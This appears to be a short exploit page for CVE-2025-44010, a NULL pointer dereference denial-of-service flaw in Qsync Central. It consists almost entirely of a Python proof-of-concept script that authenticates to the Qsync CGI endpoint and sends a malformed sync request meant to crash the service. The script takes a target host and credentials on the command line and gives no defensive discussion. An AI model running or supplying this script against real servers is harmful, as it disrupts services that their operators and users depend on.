CVE-2025-44010：Qsync Central空指针解引用拒绝服务漏洞

# CVE-2025-44010 - Qsync Central NULL Pointer Dereference PoC # This PoC demonstrates how to trigger the NULL pointer dereference # vulnerability in Qsync Central to cause a denial of service. import requests import sys TARGET_HOST = "https://qsync-central-target.example.com" USERNAME = "victim_user" PASSWORD = "victim_password" def trigger_null_deref(target, username, password): """ Trigger NULL pointer dereference in Qsync Central by sending a malformed sync request after authentication. """ session = requests.Session() # Step 1: Authenticate with valid credentials login_url = f"{target}/cgi-bin/qsync/qsync.cgi" login_data = { "username": username, "password": password, "action": "login" } try: resp = session.post(login_url, data=login_data, verify=False, timeout=10) print(f"[*] Login response status: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return False # Step 2: Send crafted request to trigger NULL pointer dereference # The malformed parameter causes the server to dereference a NULL pointer trigger_url = f"{target}/cgi-bin/qsync/qsync.cgi" trigger_data = { "action": "sync_file", "folder_id": "", # Empty/invalid folder ID to trigger NULL deref "file_path": None, # NULL file path triggers the vulnerability "sync_mode": "invalid" # Invalid sync mode } try: resp = session.post(trigger_url, data=trigger_data, verify=False, timeout=10) print(f"[*] Trigger response status: {resp.status_code}") except requests.exceptions.ConnectionError: print("[+] Target service appears to have crashed (DoS achieved)") return True except Exception as e: print(f"[*] Request result: {e}") return False if __name__ == "__main__": if len(sys.argv) >= 4: target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] else: target = TARGET_HOST username = USERNAME password = PASSWORD print(f"[*] Targeting: {target}") trigger_null_deref(target, username, password)